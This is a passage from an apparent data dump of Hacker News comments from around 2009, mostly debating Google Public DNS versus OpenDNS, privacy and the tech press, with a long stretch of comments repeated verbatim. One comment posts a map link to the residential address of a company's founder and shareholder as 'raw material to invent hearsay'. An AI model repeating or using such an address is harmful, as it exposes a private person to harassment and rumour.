sportscaster maybe played the sport in High School. He has some distant connection to the sport beyond being that of a spectator with a camera in front of him. I'd be surprised if any major tech journalist was ever a serious programmer.<p>They seem to be entirely obsessed with cell phones for some reason.<p>I think the issue is that the \\\"tech press\\\" is just an overgrown version of the \\\"trade press\\\" that exists for every industry. Somewhere out there, there are reporters writing articles abut squeegees for the janitorial industry. [1]<p>The \\\"Trade Press\\\" mostly exists to provide a vehicle for industrial vendors to advertise to their niche. They fill in the space between the ads by hiring b-grade writers who couldn't hack it at the New York Post, and get them rewrite press releases from the advertisers.<p>The \\\"tech press\\\" is exactly the same thing, only more hyperactive, trollish, and ostentatious --- to better complement the industry they cover.<p>[1] In fact, here you go: <a href=\\\"http://www.cleanlink.com/\\\" rel=\\\"nofollow\\\">http://www.cleanlink.com/</a>\", \"See also: <a href=\\\"http://news.ycombinator.com/item?id=974963\\\" rel=\\\"nofollow\\\">http://news.ycombinator.com/item?id=974963</a>\", NaN, \"This is really cool. I have been learning some stats, data mining, and machine learning stuff and I'm compelled by Incanter. I can see why a lisp is a good choice for statisical computing, with lists of data and easy composition of calculations.<p>Thanks to both the Incanter and FlightCaster devs for the generosity.\", \"um...so do the townspeople collectively own the entire town?  including each other's lots?  because if a lot is private property, nothing prevents me from selling my lot to a condo builder.  I think that you could have a system like the one you describe be just, simply have people own shares in the town.  voting stock is a much better system than universal suffrage.\", NaN, \"\\\"What do you think the Google Toolbar and Chrome do?\\\"<p>Not DNS redirection.\", NaN, \"There's currently an exhibit on Shannon at the Heinz Nixdorf MuseumsForum in Paderborn Germany: <a href=\\\"http://en.hnf.de/Special_exhibitions/Shannon/Shannon.asp\\\" rel=\\\"nofollow\\\">http://en.hnf.de/Special_exhibitions/Shannon/Shannon.asp</a><p>He built some very cool toys for his kids, some of which are on display there. Here's a video of him with some of his juggling machines <a href=\\\"http://www.youtube.com/watch?v=sBHGzRxfeJY\\\" rel=\\\"nofollow\\\">http://www.youtube.com/watch?v=sBHGzRxfeJY</a>\", \"Furthermore, they tend to open source a lot of their stuff, so they don't have to be the only way to Chat, Wave, Browse, and probably eventually DNS.\", \"Also on Rogers - and get a noticeable improvement.\", \"The fine-grained control is a plus for openDNS.<p>Second, from the stories that seem to pop up, google's achilles heel is it's customer service.  OpenDNS might be able to do better.\", NaN, NaN, \"makes you wonder if his skills in bed are equal to his skills at investing.\", NaN, \"Payflow Pro (by PayPal) Recurring Billing. I'm sure there are much, much better APIs out there but most of my comments would apply to any of them.<p>EDIT: tl;dr for my above comment: Third-party solutions are basically a replacement of a cron job that figures out when to bill someone and how much.  It's easier to write that cron job than it is to keep your billing data synchronized across two systems.\", \"Oh I agree - that's what I meant by \\\"no direct benefit\\\" to them. They explicitly have stated that they want to improve the internet because a better internet is good for them. I'm just saying it's inaccurate to assume they're starting a service for direct monetization and information collection.\", \"That \\\"hate\\\" thing comes from your Utu project, I guess.<p>While I like the idea, I'm not sure it's a good idea to label it as such in the interface.<p>You might also have a hard time figuring out the genuine flaggings from the ones made by spambots...\", \"A while back, I published a post on here complaining about designers in general, saying that they seemed to either be lacking professionally or producing poor work: http://news.ycombinator.com/item?id=955918<p>As you can see, I received a large amount of contact information for designers, and I was a bit overwhelmed by the choices. (Though, you might have to scroll down a bit; Chris_G derailed the thread a bit with his \\\"NO U\\\" post.)<p>I went ahead and hired Ole Martin: http://piraja.no<p>I've nothing but good things to say about the overall process. He was very quick in getting back to me with rates (which were reasonable, but in Euros) and progress. While he was able to maintain professionalism, the work was fantastic.<p>You can see the finished result here for our next startup:<p>http://piraja.no/dev/MTA/live/1/index.html<p>I definitely recommend him to anyone, and I'll most certainly be using him in the future.\", \"How do we even know it was alive to begin with?\", \"What's interesting, David links only to OpenDNS policy, but does not provide a link to Google's which would make an easier to compare\\u2026\", \"More raw material to invent hearsay: that is the address shared by the founder and the sharehoder:\\\\n<a href=\\\"http://maps.google.com/maps?f=q&source=s_q&hl=de&q=458+Choa+Chu+Kang+Avenue+4,+Choa+Chu+Kang,+Singapur+680458&sll=37.0625,-95.677068&sspn=44.069599,79.013672&ie=UTF8&cd=2&geocode=FfoJFQAdkuMuBg&split=0&hq=&hnear=458+Choa+Chu+Kang+Avenue+4,+Singapur+680458&ll=1.378812,103.736215&spn=0.003411,0.004823&t=h&z=18\\\" rel=\\\"nofollow\\\">http://maps.google.com/maps?f=q&source=s_q&hl=de&#38...</a>\", \"They announced recently that they're going to start making them again.\", \"| those paranoid deniers are just like those creationists who ignore data that doesn't fit into their pre-determined conclusions<p>Well, I do totally agree with this! :-)\", \"I really enjoyed this talk.  One of my favorite parts was a list of book recommendations Kevin provided at the end:<p>- call to action<p>- landing page optimization<p>- small giants<p>- the ultimate question (how to design surveys and define meaningful metrics)<p>- why marriages succeed or fail (john gottman's research on relationships)<p>- predictably irrational (behavioral economics)<p>- sway: the irresistible pull of irrational behavior\", \"\\\"Everyone not in the pocket of an ISP would agree that the net should be neutral\\\"<p>I wish the ISP's would pay me. I just don't think net neutrality makes sense - why not let ISP's give preference to game traffic over email? Nobody cares if an email arrives in 15 seconds instead of 5.\", \"A Pattern Language presents a compelling way of thinking about \\\"place\\\". It clarifies what so many have longed for in the way of community, and shows clearly what's wrong and what to change to fix it. I highly recommend it for everyone!\", \"Bzzt! Wrong.\\\\nThe IPCC based its reports in a lot of data open to scrutiny, not only East Anglia's. And even the problems with East Anglia data have been hugelly exagerated. The IPCC meetings were also open to a lot of dissent, particularly from Middle East oil producing countries  (guess why)?<p>And GW deniers do have a basic belief: \\\"you can regulate my energy from my cold dead hands\\\".\", \"Attempts to improve the internet as a whole may not directly benefit Google, but as an internet company, they will almost certainly indirectly benefit them. A rising tide lifts all boats.\", \"That's pretty sad for the computer science education at the present time. The discipline somewhat lacks of proper education for the history for information technology and big past contribution and great ideas.\", \"I agree. I also think it's fair for the provider of a public service to derive some benefit from running it. The obvious questions are: Is it ethical? Is it honest? (Google phrases it as \\\"Don't be evil.\\\")<p>In this case, if they are providing an alternative to filtering and hijacking, I see that as a really important step forward. The fact that a lot of people expected those behaviors shows just how bad the situation with DNS really is these days.\", \"Why bother trying to acquire them when there is nothing technically difficult about what opendns is doing and when google has more resources and technical expertise to bring to bear on the problem?  What exactly would you expect opendns to bring to the table other than a trademark and a somewhat controversial reputation?<p>To be honest I am somewhat surprised that opendns has lasted as long as they have, but I expected the attack to come from the akamai/cdn direction rather than directly from google.\", \"I don't understand how \\\"You have to remember to put all your files in a special folder\\\" (Dropbox) is much different than \\\"You have to remember to put all your files on a special drive\\\".\", \"I mentioned book stores and restaurants as examples of industries. I have no specific products for these industries and I was just looking for general thoughts on sales commissions and finding distribution channels.<p>I should also reiterate that I'm not looking to hire  salaried employees. I'm looking for marketing firms that work on a commission basis (and payments will solely be based on commissions)\", \"It's a link to Lambda the Ultimate. Not bad form.\", \"And, like many of their other projects, they seem to be content to throw their hat in the ring just to keep everyone else honest.<p>Broken DNS is a threat.  But they don't need to answer all DNS requests to protect against it. They just need a non-broken service as a credible threat to keep the other providers from sliding in that direction.\", \"Well that's a whole another ball of wax, or the other size of the sword depending on how you look at it.  There are a good number of cases that people are convicted on faulty forensic science many of them not nearly as egregious as the one you describe.  Most of the time it still comes from detectives gut feeling, not forensics, that turns a witness into a suspect.  The forensics don't come into they are trying to build a case against you.  Sometimes the forensics comes from the witness cooperating to give DNA, bite marks, etc as you mentioned.  People who cooperate fully only to be wrongfully accused.<p>The real problem is proving the forensics are wrong.  Combating faulty forensics is a huge task to bear that can take years too.  People who have lost 20 years in jail because the forensics were done by unqualified people or simply incorrect.<p>Sometimes I hear the science explained by the shows and I wonder how in the world is it true.  Who verified these results?  Who defines what is unique and what isn't?  Particularly questionable is techniques that prove uniqueness.\", \"I agree, but yes it is: 1) you can't unscramble variable names, and 2) you have to prettyprint all js, even well-written js, or create a 'compression detection' algorithm.\", \"Not to be paranoid, but where does it say that their privacy policy won't change?<p>Right now, the privacy policy looks great on the surface. They are launching a new product.<p>But you can't deny that Google's entire DNA is to extract monetizable information from huge amount of seemlingly unrelated raw data.<p>That's why you have to take their privacy policy with a grain of salt.\", \"The actual article seems to raise the issue in a new way... yet it looks like \\\"I like hammers, now this is how I want to solve this problem with my favourite hammer\\\".<p>Even if he defends the design decisions, I have a problem with them:<p>> also is unable to support nearly a million nested stack frames, then execution of this query will fail<p>Meanwhile - if you get to the sets with a million elements, I'm pretty sure you do not want to test for an element by traversing a million elements in O(n) style. Additionally instead of running in a single environment, each of the `contains()` functions is a new closure (killing the cache)<p>Then, he wants to support many types of AdjonObject implementations in a single list - and destroy the trace of execution on every call... good luck debugging this project if any of the functions fail semi-randomly.<p>Yet - this is only one specific case where the TCO is needed and expected. The sets objects are not general enough to implement anything else than... sets (that's what IntSet's interface defines). So if TCO is that crucial in this case - let's go: no stack implementation in a no TCO language which doesn't violate the \\\"don't inspect the elements\\\" constraint. `contains(x)` is the main abstract function that initialises local `cf` with local `__contains(x)`, then does `cf = cf(x)` until the result is a boolean and not a closure. Now every object can construct whatever chain of calls it needs, there is no relaying on `cf` coming from an IntSet interface (or .contains() being available) and there is no call stack. `.adjoin()` can modify the local object's checking function in any way it needs. Still not really doable in java because it cannot return a \\\"closure or boolean\\\" type, but python will do just fine.<p>Edit: that article really bothers me for some reason... probably because I expected better from LtU - so I implemented <a href=\\\"http://bitbucket.org/viraptor/ootr/src/tip/intset.py\\\" rel=\\\"nofollow\\\">http://bitbucket.org/viraptor/ootr/src/tip/intset.py</a>\", NaN, \"I love how everyone comes down on Google for collecting data about net traffic, as though no other company on the internet ever thought of collecting traffic metrics.  What is your current DNS provider's policy on DNS data collection?  In the case of OpenDNS, sure, they have a privacy policy, but they also proxy Google's results and serve up ads.  How's that so much better?<p>I'm perfectly happy to have my DNS data be collected (which I assume my ISP is already collecting) in exchange for ad-free, fast name resolution.  Plus, now I don't ever need to look up a DNS server again, Google's is 8.8.8.8.  Sweet.<p>EDIT: looks like Google's not collecting so much information anyway. <a href=\\\"http://code.google.com/speed/public-dns/privacy.html\\\" rel=\\\"nofollow\\\">http://code.google.com/speed/public-dns/privacy.html</a>\", \"My results run from a SliceHost slice: <a href=\\\"https://gist.github.com/00a8976d0b76e796996a\\\" rel=\\\"nofollow\\\">https://gist.github.com/00a8976d0b76e796996a</a><p><pre><code>    Mean response (in milliseconds):\\\\n    --------------------------------\\\\n     SBC/AT&T Global- ########### 45.11\\\\n     OpenDNS-2        ############# 56.75\\\\n     OpenDNS          ################ 66.40\\\\n     8.8.4.4          ################# 70.29\\\\n     4.2.2.3          ###################### 96.20\\\\n     UltraDNS-2       ######################## 104.35\\\\n     UltraDNS         ######################## 104.68\\\\n     Level 3-2        ######################### 106.95\\\\n     SYS-67.207.128.5 ########################### 114.93\\\\n     SYS-67.207.128.4 ###################################################### 231.97</code></pre>\", \"I think what makes me nervous about it is that I can't even control my <i>own</i> sites any more if I use Google's DNS, and get the \\\"mysterious Google lockout with no recourse\\\".\", \"Agreed. The first point is the only legitimate technical point.<p>Everything else is just vague fear mongering about how google <i>might</i> misuse their dominant position and frankly DNS doesn't scare me any more than Google owning my email, documents and search history.<p>Either way, OpenDNS is awesome and I'm excited to see how they'll proceed fighting Google's entry (on technical merit).\", NaN, \"Just out of curiosity, which third-party system did you use originally?\", \"Judging from his current app up right now on Touch Arcade, it looks like it goes straight to iTunes (probably hits his server first to record where it came from).\", \"That's why I'm so impressed with NPR. Its depth of analysis is amazing compared to most other media I'm aware of in the US. And still. I still don't feel like paying for it.<p>I use NPR as a counter-argument to saying that good content will find a way to make lots of money. Show me how because I don't see it.\", \"Having a vector or map collection where you can call methods etc. on elements without having to do a typecast, and know that the method call will work (i.e. is statically typed), is useful. It also stops you (or more likely, someone else on the team) from adding the wrong kind of thing to the collection.<p>If you don't understand the benefits of static typing, it's likely that you won't understand why generics can be preferable to polymorphism in containers.\", \"As mentioned in the other post linked below, I'm the product manager for the FreshBooks API. We are extremely aware there are many problems with the recurring billing market right now, and we are currently committed to doing a better job serving it. We are committed painless billing for web apps too.<p>If you can please forgive the shilling, I'm very interested in hearing what sucks about the recurring billing APIs on the market and specifically what sucks about ours (<a href=\\\"http://developers.freshbooks.com\\\" rel=\\\"nofollow\\\">http://developers.freshbooks.com</a>). I'm sure our competitors in the market would also be interested so we can all do a better job.<p>This isn't so much about us, but letting you know that at least one vendor is here listening, and maybe others.<p>Thanks for anything you can throw at me, good or bad.<p>(And you can't hurt my feelings except by being quiet. I <i>need</i> to know.)<p><i>NOTE</i> I rewrote this comment to be less self-conscious.\", \"The probability of the event happening * the loss = the premium of the surgery. That is it. If you would rather pay 1000 dollars for a surgery than 3000 then that is your business. I certainly wouldn't sign away my right to sue when I'm under back surgery.\", \"Basically a list of this guys personal preferences.. lame.<p>Here is a foolproof method of filtering out bad programmer jobs:<p>If they ever use the words 'rockstar', 'ninja', or anything similar, run very far away. If throughout the interview process they focus purely on pumping up your ego run very far away. If all they can talk about is how they have Rockband and Foosball, you got it, run very far away.<p>Great programming jobs are those in which you are solving interesting problems surrounded by interesting people. If they have that they don't need 'ninjas' and 'rockstars'. They don't need to talk about foosball (I'm not saying Foosball is bad, it just shouldn't be the focus of your work). Instead, they'll talk about interesting problems.\", \"That isn't how DNS works. It is true that 90% of users go directly to google, but once there they click on Search results, news results, etc...  The browser takes the link and the OS does a DNS lookup to get the ip address of the server hosting that url. Then the browser connects to that server, google is no longer in the picture.\", NaN, \"No, you're spot on.<p><pre><code>  2.2.2.4.in-addr.arpa domain name pointer vnsc-bak.sys.gtei.net.\\\\n</code></pre>\\\\nEven though the IP space hasn't been SWIP'd to GTE/Verizon, the server(s) behind that IP are evidently theirs.\", \"To me, the point of being rich is to be able to give the money away as you see fit.  It's a lot easier to complain that such-and-such symphony orchestra is going bankrupt than it is to figure out how to become successful and then help that same orchestra.  If you have a look at the patron list of the SF Ballet, you'll likely recognize a name or three.\", \"This is all great stuff.<p>Be careful that you don't apply lessons too broadly. If you're selling high-dollar, recurring sales items into big business it might be enough to have 100 purchasing managers love you. You probably don't need a media blitz.<p>As an aside, not particularly related to this story, one of the drawbacks of learning from success is that every deck ends with how great things are.  I wonder 1) if sometimes luck gets disguised and genius and 2) if it wouldn't be more useful to study failures than successes.<p>The commercial airline industry has a great safety record. They do this by meticulously taking apart every accident that happens. Too bad we don't do that in other fields.\", \"Arithmetically challenged - \\\"The biggest difference is that going every 30 days means you get an extra payment every 10 years\\u2026 Yes, 10 years, shrug.\\\" It's 6 years.  If you're going to emphasize something in your writing, for example by repeating it, you really ought to get it right.\", \"I'm not entirely sure, but I used to go to high school with a kid (a different Dave) that was absolutely brilliant and did some work with them.  When I was looking for a dns provider, he showed me their site and I've referred them to everyone I know since.  They really run an excellent service at top-notch quality.  Probably time for me to donate again..\", \"Fascinating. It's interesting to see that their times aren't always the fastest, but they seem able to keep responses speedy on the sites the other two struggle with (bbc and tb4). Maybe that's the prefetching at work?\", \"Agreed and let\\u2019s not forget it\\u2019s a massive improvement compared to the old site.\", \"As a long time Microsoft detractor, I must admit that Bing has a few things that I like:<p>1. instant view popups<p>2. free search and spelling APIs for developers. I wrote a web blog showing how to use these services in just a few lines of Ruby code. and, free is good<p>3. daily pictures :-)\", \"It may not be correlated, but that doesn't mean that Google isn't getting a ton of commercial benefit from this data. It's like having your own Alexa/Quantcast, but in realtime, and with much better granularity.\", \"I'm pretty sure you can jump over the mushroom if you either do so in the areas without the overhead blocks or if you time it right.  They merely made it very difficult for a new player to avoid the mushroom.\", \"Transactions can involve more than just a single flow of cash in exchange for stuff.  Economists can and do look at satisfaction as part of market efficiency which explains why people pay for status symbols.  Someone buying a diamond for above resale price is not necessarily simply wasting money for zero gain.<p>PS: Consider rather than a ticket scalper you had a group of bandits charging a toll to cross a bridge.  They are not adding value to the experience of crossing a bridge and they are not helping the people who made the bride.  So while arguably they increase GDP it's not a net gain for society.\", \"4chan users are not trolls.  They're griefers and sociopaths.  Like you said, trolls are generally part of a community, or make an attempt to get a rise out of people through d\\u00e9tournement, not through outright antagonism.<p>Over at kuro5hin.org we experienced a 'trollocaust' as it were, wherein the trolls successfully drove all the emotional beautiful souls off to another site (hulver.com).  If the critical mass of trolls grows too large, community can't really be sustained.\", \"but how does yodlee then ?\", \"Anti Explorer is a small piece of code you can place in your site's HTML which stops Microsoft Internet Explorer (MSIE / Explorer) from rendering your page. Along-side this, a notification alerts the user he / she is using MSIE and prompts him / her to download Firefox instead.<p>We've all been there. We design our site with Internet Explorer in mind, only to find we have to resort to numerous hacks and complicated code to get our site looking like it should in MSIE. Numerous Web Citizens have written hacks and workarounds for MSIE, only to be dismayed at all the extra effort they had to put in to get their designs cross-compatible with MSIE.<p><a href=\\\"http://anti.eire-media.com/\\\" rel=\\\"nofollow\\\">http://anti.eire-media.com/</a>\", \"Nice work :)\", \">Revenue = User-Time on Internet<p>Yes, I was told that explicitly at a presentation by Google recently. Anything that makes the internet better or makes people use it more makes Google more money.\", \"From your link : \\\"we randomly sample a small subset for permanent storage.\\\" \\\\nEven if anonymous that data is really valuable as it allows to identify traffic patterns. I don't see anything \\\"evil\\\" in collecting anonymized data.\", \"A couple of questions:<p>Hasn't google tried to acquire OpenDns? It's a no brainer!<p>Has been any contact between the two companies?<p>The scenario of google (or any company) controling internet traffic is not a nice one :(\", \"The suckless mailinglist is a mailing list that seems to accept, if not encourage, the second type of trolling.  It would be interesting to build some statistics from it's archives to see when and who abandoned the list.  I think you are right, Zed, in that getting rid of the first type get's rid of the second type and empowers the third type.  I also agree that the second type is very good for the community.  Just look at the development that goes on in the suckless community, some really great stuff.\", \"<i>...you have to ensure that a market is not completely controlled by a few large corporations.</i><p>Maybe. But if so, that's an argument for antitrust enforcement, not net-neutrality type-and-price-of-service regulations.<p>As the example of regulatory capture in many industries should make clear, regulations often turn out giving an advantage to the few large operators who can play at Washington rulemaking games -- with large staffs of lobbyists and big donations at election time -- no matter what the regulators' initial rationale.\", \"<i>To think that Google\\u2019s DNS service is for the benefit of the Internet would be naive.</i><p>I'm not so sure, it is starting to seem like Google has worked out essentially that Revenue = User-Time on Internet. The Chrome project is one example, a better faster internet is in Google's best interest.\", \"A little slow, but beautiful. Worth it to see the bubbles in the background on mrspeaker's site.\", \"The Economist has an established editorial slant and actively practices advocacy journalism.<p>You're looking for The Christian Science Monitor. Their whole reason for being is avoiding sensationalist reporting (biased reporting, I'd argue, is impossible to avoid completely). They go so far as to not use any of the wire services, so that biases don't creep in there, and use their own on-the-ground reporters instead.<p>What's tragic is that news sources like that are being plowed under along with the Fox Newses of the world with everyone's decision that \\\"eh, blogs are just as good.\\\"<p>(edit: Well that's embarrassing. Apparently HTML markup doesn't work here.)\", \"Flightcaster does some fantastic, innovative stuff in the statistical, distributed computing, and Clojure worlds.\", NaN, NaN, \"Indeed.  It's a link to a blog post about a blog post.  Bad form.\", \"Make sure to write down the phone number while your DNS is working...\", \"Is there accompanying audio/video of the presentation? I always find just seeing the slides leaves a lot of gaps in my understanding of the presentation.\", \"Ah yes, <i>The Financial Post</i>. The newspaper I turn to for all of my climatological analysis. It's like <i>International Journal of Climatology</i>, but with better op-eds and stock listings.\", \"The WSGI support, and twisted.web in general have been seeing some great improvements. Coupled with this <i>amazing</i> running series on twisted.web: <a href=\\\"http://jcalderone.livejournal.com/tag/sixty+seconds\\\" rel=\\\"nofollow\\\">http://jcalderone.livejournal.com/tag/sixty+seconds</a>, I'd say things are looking very positive for Twisted in the web world.<p>I think the release of Tornado has got people thinking about \\\"Comet frameworks\\\" (for lack of a better term), and I have the personal opinion that Django+Orbited+Twisted could make a better \\\"Comet framework\\\" than Tornado.<p>Here's a project that is exploring combining Django+Orbited+Twisted: <a href=\\\"http://github.com/clemesha/hotdot\\\" rel=\\\"nofollow\\\">http://github.com/clemesha/hotdot</a> - it contains a full working example, and I believe taken further, it could really turn into (at least) a great starting point for making \\\"real world\\\" Comet apps with Python.\", NaN, NaN, \"Wow that guy was awesome, I can't believe I'd never heard of him.\", \"How are the toolbar and chrome NOT in the user's hands? Your belief that Google monetizes all their services directly is naiive - they have repeatedly made very open attempts to improve the internet with no direct benefit to them.\", NaN, \"I always hated the redirection my ISP's DNS and OpenDNS forces. Every time I make a typo, i have to completely retype the URL because they redirect me...\", \"From London:<p><pre><code>                    Level 3  Google  OpenDNS\\\\n    lifehacker.com    35       29      26\\\\n    facebook.com      31       45      18\\\\n    manu-j.com        30       41      38\\\\n    reddit.com        42      350      17\\\\n    tb4.fr            36       22      25\\\\n    bbc.co.uk         45       39      26\\\\n</code></pre>\\\\nOpenDNS has servers here in London, so they put up a fairly good showing. And obviously there's some jitter - the 350ms reddit result is an anomaly - but a few other runs turned up 216ms and 378ms - must be something odd about it.\", NaN, \"In the most general case it uses boxing strategies, but it's also able to behave like C++ with certain compile-time optimizations turned on (at the cost of slowing down compilation). There's a lot of literature out there about how to take advantage of those optimizations. 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And the best part is, the .js can not be re-requested as it's it's taken cautions to prevent re-play attack.\", \"if on windows how do I measure what you just measured?\", \"From the blog post:\\\\n\\\"Third, Google claims that this service is better because it has no ads or redirection. But you have to remember they are also the largest advertising and redirection company on the Internet. To think that Google\\u2019s DNS service is for the benefit of the Internet would be naive. They know there is value in controlling more of your Internet experience and I would expect them to explore that fully. And of course, we always have protected user privacy and have never sold our DNS data. Here\\u2019s a link to our privacy policy.\\\"<p>davidu,<p>You have excellent points but you could have made them without bashing your competitor.<p>This response makes me think that you are afraid of your competition and using fear to convince people to use OpenDNS.\", \"Agreed.  Lots of things I couldn't quite connect to what they were saying?  Particularly be a source of data section.  But, this was a good topic.\", NaN, \"<p><pre><code>  On internal yardsticks: \\\"Would you prefer to be the \\\\n  greatest lover in the world and known as the worst,\\\\n  or would you prefer to be the worst lover and \\\\n  known as the greatest?\\\"\\\\n</code></pre>\\\\nWhich one is supposed to be better?<p>Some people are much better at interviewing for a job than doing the job.  Others are great at the job but fail at interviews.<p>I started to notice a few years ago that I fall pretty extremely into one of those categories, but I made peace by being glad I wasn't at the other extreme.\", \"The point was that, for most users, Google is an abstraction over URLs, just like DNS is an abstraction over IP addresses.\", \"I need some advice for setting up payment processing.. I know it's been discussed extensively around here but it seems like our use case might be slightly different than other typical web apps, either requiring an extra step or different solution than the average e-commerce transaction..<p>The basic concept: An e-commerce site with multiple vendors showcasing their products, company will take a % of each transaction (listing fee) before sending each vendor the remaining funds. (somewhat similar payment structure to http://www.kickstarter.com/)<p>I am looking for the best solution to allow users to checkout on the site using a credit card - I do not like what I've seen with either Amazon Web Pay or Paypal Adaptive Payments so far.. it looks like both of these require users to be redirected to their site for secure checkout.  Reading the development forums for Paypal, seems that there isn't any planned support for Website Payments Pro and Adaptive Payments together (unless I'm completely missing something).<p>Steps to Successful Transaction:\\\\n1. Customer visits site and makes a purchase using their credit card (without leaving our site)\\\\n2. For using our site the vendor is charged a % transaction fee\\\\n3. Remaining funds after fee deductions are sent to vendor<p><i></i> Need to think about the best way for these transactions to happen, and also look at all of the fees involved with moving the money each time.  Should funds move to vendors each time a transaction is complete? At the end of each day? Once every 30 days?  Without an elegant solution it seems like this could get messy rather quickly.<p>Many thanks for your help!\", \"If the problem doesn't exist, why do so many people find them useful?\", \"Poor George Boole. 150 years later and all he got was a lousy t-shirt and a data type named after him.<p>Be nice if the article defined 'made a fortune.'\", NaN, \"> <i>Google knows what is hosted at the servers you are looking up.</i><p>And so does every other DNS provider so long as the pages are public and if your ISP is your DNS provider then they can directly sniff your (non-encrypted) traffic too.\", NaN, \"My TRS-80 had 4K, so the Basic language used one-letter abbreviations for all the commands. I tried learning Z80 on it, but it was a bit too tough for me; 6502 was a breeze in comparison. fwiw, stick with it if you enjoy it!\", \"while I agree the design could still use work, jumping on the drop shadows is silly. Designs down have to follow physics, function of design elements can be more abstract.<p>Just because it doesn't follow some global light source doesn't mean it's not functional. It serves a purpose by helping better highlight the colors. Would you be okay if we separate the edges with a solid black line?  What if he added a gradient to that line?\", \"> <i>Plus, now I don't ever need to look up a DNS server again, Google's is 8.8.8.8. Sweet.</i><p>My DNS servers have been 4.2.2.[1-4] for a long time. They aren't that hard to remember.\", \"Both PC World and ComputerWorld (especially ComputerWorld) are the tabloids of the industry. They just have a <i>lot</i> of money to spend on shoddy journalism.\", \"I don't think it matters. There's no value-add in LTU's blog post on this other than the equivalent of \\\"hay guys, this is cool\\\". Granted, that has a lot of weight coming from that blog, but it's still just a link to a link.\", \"Darn. <a href=\\\"http://to/life\\\" rel=\\\"nofollow\\\">http://to/life</a> was taken. Oh well. L'chai-im!\", \"Do you have any idea how confused I was the first time that happened? An absolutely terrible user experience.\", \"Yeah, and they mostly have no serious understanding of the technology. At least the typical sportscaster maybe played the sport in High School. He has some distant connection to the sport beyond being that of a spectator with a camera in front of him. I'd be surprised if any major tech journalist was ever a serious programmer.<p>They seem to be entirely obsessed with cell phones for some reason.<p>I think the issue is that the \\\"tech press\\\" is just an overgrown version of the \\\"trade press\\\" that exists for every industry. Somewhere out there, there are reporters writing articles abut squeegees for the janitorial industry. [1]<p>The \\\"Trade Press\\\" mostly exists to provide a vehicle for industrial vendors to advertise to their niche. They fill in the space between the ads by hiring b-grade writers who couldn't hack it at the New York Post, and get them rewrite press releases from the advertisers.<p>The \\\"tech press\\\" is exactly the same thing, only more hyperactive, trollish, and ostentatious --- to better complement the industry they cover.<p>[1] In fact, here you go: <a href=\\\"http://www.cleanlink.com/\\\" rel=\\\"nofollow\\\">http://www.cleanlink.com/</a>\", \"See also: <a href=\\\"http://news.ycombinator.com/item?id=974963\\\" rel=\\\"nofollow\\\">http://news.ycombinator.com/item?id=974963</a>\", NaN, \"This is really cool. I have been learning some stats, data mining, and machine learning stuff and I'm compelled by Incanter. I can see why a lisp is a good choice for statisical computing, with lists of data and easy composition of calculations.<p>Thanks to both the Incanter and FlightCaster devs for the generosity.\", \"um...so do the townspeople collectively own the entire town?  including each other's lots?  because if a lot is private property, nothing prevents me from selling my lot to a condo builder.  I think that you could have a system like the one you describe be just, simply have people own shares in the town.  voting stock is a much better system than universal suffrage.\", NaN, \"\\\"What do you think the Google Toolbar and Chrome do?\\\"<p>Not DNS redirection.\", NaN, \"There's currently an exhibit on Shannon at the Heinz Nixdorf MuseumsForum in Paderborn Germany: <a href=\\\"http://en.hnf.de/Special_exhibitions/Shannon/Shannon.asp\\\" rel=\\\"nofollow\\\">http://en.hnf.de/Special_exhibitions/Shannon/Shannon.asp</a><p>He built some very cool toys for his kids, some of which are on display there. Here's a video of him with some of his juggling machines <a href=\\\"http://www.youtube.com/watch?v=sBHGzRxfeJY\\\" rel=\\\"nofollow\\\">http://www.youtube.com/watch?v=sBHGzRxfeJY</a>\", \"Furthermore, they tend to open source a lot of their stuff, so they don't have to be the only way to Chat, Wave, Browse, and probably eventually DNS.\", \"Also on Rogers - and get a noticeable improvement.\", \"The fine-grained control is a plus for openDNS.<p>Second, from the stories that seem to pop up, google's achilles heel is it's customer service.  OpenDNS might be able to do better.\", NaN, NaN, \"makes you wonder if his skills in bed are equal to his skills at investing.\", NaN, \"Payflow Pro (by PayPal) Recurring Billing. I'm sure there are much, much better APIs out there but most of my comments would apply to any of them.<p>EDIT: tl;dr for my above comment: Third-party solutions are basically a replacement of a cron job that figures out when to bill someone and how much.  It's easier to write that cron job than it is to keep your billing data synchronized across two systems.\", \"Oh I agree - that's what I meant by \\\"no direct benefit\\\" to them. They explicitly have stated that they want to improve the internet because a better internet is good for them. I'm just saying it's inaccurate to assume they're starting a service for direct monetization and information collection.\", \"That \\\"hate\\\" thing comes from your Utu project, I guess.<p>While I like the idea, I'm not sure it's a good idea to label it as such in the interface.<p>You might also have a hard time figuring out the genuine flaggings from the ones made by spambots...\", \"A while back, I published a post on here complaining about designers in general, saying that they seemed to either be lacking professionally or producing poor work: http://news.ycombinator.com/item?id=955918<p>As you can see, I received a large amount of contact information for designers, and I was a bit overwhelmed by the choices. (Though, you might have to scroll down a bit; Chris_G derailed the thread a bit with his \\\"NO U\\\" post.)<p>I went ahead and hired Ole Martin: http://piraja.no<p>I've nothing but good things to say about the overall process. He was very quick in getting back to me with rates (which were reasonable, but in Euros) and progress. While he was able to maintain professionalism, the work was fantastic.<p>You can see the finished result here for our next startup:<p>http://piraja.no/dev/MTA/live/1/index.html<p>I definitely recommend him to anyone, and I'll most certainly be using him in the future.\", \"How do we even know it was alive to begin with?\", \"What's interesting, David links only to OpenDNS policy, but does not provide a link to Google's which would make an easier to compare\\u2026\", \"More raw material to invent hearsay: that is the address shared by the founder and the sharehoder:\\\\n<a href=\\\"http://maps.google.com/maps?f=q&source=s_q&hl=de&q=458+Choa+Chu+Kang+Avenue+4,+Choa+Chu+Kang,+Singapur+680458&sll=37.0625,-95.677068&sspn=44.069599,79.013672&ie=UTF8&cd=2&geocode=FfoJFQAdkuMuBg&split=0&hq=&hnear=458+Choa+Chu+Kang+Avenue+4,+Singapur+680458&ll=1.378812,103.736215&spn=0.003411,0.004823&t=h&z=18\\\" rel=\\\"nofollow\\\">http://maps.google.com/maps?f=q&source=s_q&hl=de&#38...</a>\", \"They announced recently that they're going to start making them again.\", \"| those paranoid deniers are just like those creationists who ignore data that doesn't fit into their pre-determined conclusions<p>Well, I do totally agree with this! :-)\", \"I really enjoyed this talk.  One of my favorite parts was a list of book recommendations Kevin provided at the end:<p>- call to action<p>- landing page optimization<p>- small giants<p>- the ultimate question (how to design surveys and define meaningful metrics)<p>- why marriages succeed or fail (john gottman's research on relationships)<p>- predictably irrational (behavioral economics)<p>- sway: the irresistible pull of irrational behavior\", \"\\\"Everyone not in the pocket of an ISP would agree that the net should be neutral\\\"<p>I wish the ISP's would pay me. I just don't think net neutrality makes sense - why not let ISP's give preference to game traffic over email? Nobody cares if an email arrives in 15 seconds instead of 5.\", \"A Pattern 